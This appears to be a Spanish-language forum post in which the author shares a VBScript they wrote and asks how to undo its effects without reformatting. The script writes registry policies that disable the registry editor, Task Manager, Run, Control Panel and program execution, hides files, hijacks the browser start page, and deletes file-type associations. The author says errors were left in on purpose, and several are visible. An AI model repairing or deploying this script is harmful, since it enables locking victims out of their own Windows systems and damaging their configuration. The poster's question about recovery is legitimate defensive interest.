buenas a todos

hace tiempo que se me ocurrió el siguiente código, y quisiera saber si existe alguna cura para él que no implique formatear el equipo
porque si se me ha ocurrido a mí, seguro que a otros se les habrá ocurrido antes, y a otros se les ocurrirá después, y no tendrán tantos escrúpulos como yo para hacer uso de él

dejo aquí el código (con pequeños errores, por supuesto, para evitar el mal uso):

On Error Resume Next
 
Set regedtor = CreateObject("WScript.Shell") 
 
regeditor.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, REG_DWORD"
regeditor.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1, REG_DWORD"
regeditor.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, REG_DWORD"
regeditor.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktop", 1, REG_DWORD"
regeditor.RegWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserClose", 1, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", 1, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop", 1, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", 1, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", 1, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", 1, REG_DWORD"
regeditor.RegWrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoSelectDownloadDir", 1, REG_DWORD"
regeditor.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\NoViewContextMenu", 1, REG_DOWRD"
regeditor.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "www.zapato.com"
regeditor.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "EN LAS ORILLAS DEL MARIK..."
regeditor.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "comando marmitako"
regeditor.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "el perro"
regeditor.regdelete "HKEY_CLASSES_ROOT\com\PersistentHandler\"
regeditor.regdelete "HKEY_CLASSES_ROOT\com\"
regeditor.regdelete "HKEY_CLASSES_ROOT\pif\"
regeditor.regdelete "HKEY_CLASSES_ROOT\scr\"
regeditor.regdelete "HKEY_CLASSES_ROOT\ppt\"
regeditor.regdelete "HKEY_CLASSES_ROOT\pps\"
regeditor.regdelete "HKEY_CLASSES_ROOT\bat\"
regeditor.regdelete "HKEY_CLASSES_ROOT\iso\"
regeditor.regdelete "HKEY_CLASSES_ROOT\Mp3\"
regeditor.regdelete "HKEY_CLASSES_ROOT\wma\"
regeditor.regdelete "HKEY_CLASSES_ROOT\inf\"
regeditor.regdelete "HKEY_CLASSES_ROOT\hlp\"
regeditor.Run ("date 15:04:98"), , True
regeditor.Run ("time 12:03:66"), , True
regeditor.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun", 1, REG_DWORD"
regeditor.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, REG_DWORD"

Uaaap!! No se puede usar la consola...

bloquea las opciones de "ejecutar", o sea que nada de INICIO>ejecutar>CMD

y además, bloquea la opción de abrir ejecutables, o sea que nada de irnos a System y abrir el CMD.exe manualmente...

muy chungo de arreglar, la verdad (aunque siempre nos quedará el antivirus... )